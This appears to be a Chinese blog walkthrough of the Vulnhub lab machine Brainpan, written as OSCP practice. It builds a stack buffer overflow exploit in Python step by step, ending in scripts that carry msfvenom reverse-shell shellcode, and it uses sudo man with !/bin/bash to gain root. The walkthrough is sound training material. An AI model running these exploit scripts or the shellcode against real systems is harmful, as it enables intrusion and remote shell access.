IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> [OSCP][Vulnhub]Brainpan -> 正文阅读

[系统运维][OSCP][Vulnhub]Brainpan

靶机获取地址??

Brainpan 1: https://www.vulnhub.com/entry/brainpan-1,51/

环境设置

靶机ip:192.168.110.55(使用VM16?设置桥接模式)

kali虚拟机ip:192.168.110.129(使用VM16 设置桥接模式)

win10虚拟机ip:192.168.85.130(使用VM16 设置NAT模式)

信息收集

打开nmap 先用StealthScan模式扫描一次

?再更细致的扫描一次 把Banner信息还有系统信息扫描出来

发现9999端口和10000端口是开着的

用netcat连一下9999端口 发现要输入密码

http服务开在10000端口上 开浏览器访问一下

?查看一下源码 没什么收获 用dirb目录爆破

?响应包响应码301 是出现了重定向 浏览器里访问

发现了一个.exe文件 linux没法运行.exe文件?放到windows10虚拟机下面看一下

好像这个程序监听端口9999?我们用netcat连上去试试

?发现这个好像就是开放在靶机9999端口上的程序

回到kali上用strings命令输出这个.exe文件所有可以显示的字符

?

?发现这个shitstorm就是她所要的password 再win10虚拟机中输入后

这个程序会将你输入的密码复制到缓冲区中 其实提示已经很明显了 这个程序应该是有缓冲区溢出漏洞的 把他放到debugger里面跑一跑(这里用的是Immunity Debugger) (OSCP教材的缓冲区溢出章节看了太久了 复习一下)

这里拿OSCP教材的缓冲区溢出POC结合这个靶机改一下变成下面的POC

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 size = 800
 
 inputBuffer = "A" * size

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.85.130", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

启用调试这个POC后 发现EIP寄存器确实被覆盖

漏洞利用

接下来我们要确定到底是inputBuffer变量中的哪一段覆盖了我们的EIP寄存器

这里用msf创建800个字符不重复的字符串

用msf创建的字符串替换inputBuffer变量 重新调试POC

发现EIP被35724134即5rA4字符 查询一下他在intoBuffer中的位置

?调整一下POC确认一下位置正确

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 filler = "A" *  524
 
 eip = "B" * 4
 
 buffer = "C" * 272
 
 inputBuffer = filler + eip + buffer

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.85.130", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

看了眼Debugger 验证位置正确 查看一下ESP寄存器的指向

接下来就该检查坏字符

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 filler = "A" *  524
 
 eip = "B" * 4
 
 #buffer = "C" * 272
 
 badchars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )


 inputBuffer = filler + eip + badchars

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.85.130", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

发现没有坏字符 所有的字符都可以正常进入栈中 没有出现中断

然后就是找到可以跳转到ESP寄存器的地址用来来替换eip变量?这里用mona.py来在brainpan.exe里面查找(这里\xff\xe4即JMP ESP汇编指令的十六进制表示)

!mona find -s "\xff\xe4" -m "brainpan.exe"

?这里查看到的地址是0x311712f3 倒着输入eip变量并执行POC 即代码如下

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 filler = "A" * 524
 
 eip = "\xf3\x12\x17\x31"

 buffer = "C" * 272

 inputBuffer = filler + eip + buffer

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.85.130", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

再次执行POC的时候发现ESP寄存器指向向下偏移了两个字节

修改一下代码?

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 filler = "A" * 524
 
 eip = "\xf3\x12\x17\x31"

 offset = "C" * 4
 
 payload = "D" * 268

 inputBuffer = filler + eip + offset + payload

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.85.130", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

(做到这里才发现 payload有点小了 很可能放不下shellcode 重新改变payload的大小很有可能POC执行就失败了 试了一下还好这里payload改成468 POC还能正常执行)

这里拿msf生成一下反弹shell的shellcode 把他放到原先payload的位置 再给我们的shellcode加个nops slide 最终代码就生成啦(只不过用在靶机上的时候 shellcode需要重新生成 连接的ip和端口也需要更改一下)

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 filler = "A" * 524
 
 eip = "\xf3\x12\x17\x31"

 offset = "C" * 4
 
 shellcode = ("\xbf\x47\x18\x33\xcb\xdb\xd8\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
 "\x52\x31\x7a\x12\x03\x7a\x12\x83\x85\x1c\xd1\x3e\xf5\xf5\x97"
 "\xc1\x05\x06\xf8\x48\xe0\x37\x38\x2e\x61\x67\x88\x24\x27\x84"
 "\x63\x68\xd3\x1f\x01\xa5\xd4\xa8\xac\x93\xdb\x29\x9c\xe0\x7a"
 "\xaa\xdf\x34\x5c\x93\x2f\x49\x9d\xd4\x52\xa0\xcf\x8d\x19\x17"
 "\xff\xba\x54\xa4\x74\xf0\x79\xac\x69\x41\x7b\x9d\x3c\xd9\x22"
 "\x3d\xbf\x0e\x5f\x74\xa7\x53\x5a\xce\x5c\xa7\x10\xd1\xb4\xf9"
 "\xd9\x7e\xf9\x35\x28\x7e\x3e\xf1\xd3\xf5\x36\x01\x69\x0e\x8d"
 "\x7b\xb5\x9b\x15\xdb\x3e\x3b\xf1\xdd\x93\xda\x72\xd1\x58\xa8"
 "\xdc\xf6\x5f\x7d\x57\x02\xeb\x80\xb7\x82\xaf\xa6\x13\xce\x74"
 "\xc6\x02\xaa\xdb\xf7\x54\x15\x83\x5d\x1f\xb8\xd0\xef\x42\xd5"
 "\x15\xc2\x7c\x25\x32\x55\x0f\x17\x9d\xcd\x87\x1b\x56\xc8\x50"
 "\x5b\x4d\xac\xce\xa2\x6e\xcd\xc7\x60\x3a\x9d\x7f\x40\x43\x76"
 "\x7f\x6d\x96\xd9\x2f\xc1\x49\x9a\x9f\xa1\x39\x72\xf5\x2d\x65"
 "\x62\xf6\xe7\x0e\x09\x0d\x60\xf1\x66\x58\xf2\x99\x74\x62\xf6"
 "\x8b\xf0\x84\x9c\x3b\x55\x1f\x09\xa5\xfc\xeb\xa8\x2a\x2b\x96"
 "\xeb\xa1\xd8\x67\xa5\x41\x94\x7b\x52\xa2\xe3\x21\xf5\xbd\xd9"
 "\x4d\x99\x2c\x86\x8d\xd4\x4c\x11\xda\xb1\xa3\x68\x8e\x2f\x9d"
 "\xc2\xac\xad\x7b\x2c\x74\x6a\xb8\xb3\x75\xff\x84\x97\x65\x39"
 "\x04\x9c\xd1\x95\x53\x4a\x8f\x53\x0a\x3c\x79\x0a\xe1\x96\xed"
 "\xcb\xc9\x28\x6b\xd4\x07\xdf\x93\x65\xfe\xa6\xac\x4a\x96\x2e"
 "\xd5\xb6\x06\xd0\x0c\x73\x36\x9b\x0c\xd2\xdf\x42\xc5\x66\x82"
 "\x74\x30\xa4\xbb\xf6\xb0\x55\x38\xe6\xb1\x50\x04\xa0\x2a\x29"
 "\x15\x45\x4c\x9e\x16\x4c")
 
 nops = "\x90" * 10

 inputBuffer = filler + eip + offset + nops + shellcode

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.85.130", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

下面列出的事具体用在靶机上的POC

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 
 filler = "A" * 524
 
 eip = "\xf3\x12\x17\x31"

 offset = "C" * 4
 
 shellcode = ("\xda\xd2\xbf\x2d\xe1\xc0\x95\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
 "\x12\x31\x7a\x17\x03\x7a\x17\x83\xc7\x1d\x22\x60\x26\x05\x54"
 "\x68\x1b\xfa\xc8\x05\x99\x75\x0f\x69\xfb\x48\x50\x19\x5a\xe3"
 "\x6e\xd3\xdc\x4a\xe8\x12\xb4\x8c\xa2\x8b\xc5\x65\xb1\x53\xc1"
 "\xa7\x3c\xb2\x79\x21\x6f\x64\x2a\x1d\x8c\x0f\x2d\xac\x13\x5d"
 "\xc5\x41\x3b\x11\x7d\xf6\x6c\xfa\x1f\x6f\xfa\xe7\x8d\x3c\x75"
 "\x06\x81\xc8\x48\x49")
 
 nops = "\x90" * 10

 inputBuffer = filler + eip + offset + nops + shellcode

 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 
 s.connect(("192.168.110.55", 9999))
 
 s.send(inputBuffer)
 
 print inputBuffer

 s.close()
 
 print "\nDone!"
 
except:
 print "\nCould not connect!"

(做到这里才发现 根本不用担心payload太小了 因为msf生成的linux反弹shell的shellcode实在太短了...)

把代码放到工作目录下 用chmod赋予可执行权限 并在python环境下执行

shell!!!!!!!!!!

用python生成一下交互式shell 然后就应该进行提权了

提权

?传一个LinEnum.sh枚举脚本在puck的家目录 然后添加可执行权限 发现个这个东西?

也就是说我们可以用sudo无密码执行anansi下anansi_util 执行后给出了用法

本人在这里执行的时候一直出错一直出错 我刚开始查了之后以为出现这段错误是因为这段代码调用的top命令 然后这个错误出在没有定义一些变量 而且我定义变量后执行这个命令的三个选项都输出的是top命令的结果?然后就卡了很久?中间环境变量提权 内核提权都试了(内核提权因为我kali机gcc版本太高了 没法编译 安装低版本gcc的时候make命令一直报错)最后没办法看了一眼wp 我发现 根本不是别的问题 是我每次在输入这个命令的时候中间都加了’-‘ 所以才会报错(血压骤升)真的引以为戒!!!(下图是报错 捂脸)

?

?言归正传,输入第三条命令 发现其实就是一个可以查看手册页的man命令(这里我看了su命令的手册页)

?在GTFOBins里面查了一下 发现以sudo运行的man命令 通过输入!/bin/bash可以提升到root权限

?

?现在到家目录下面看下flag

结束!?

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-12-23 16:04:59  更:2021-12-23 16:05:11 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 5:53:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码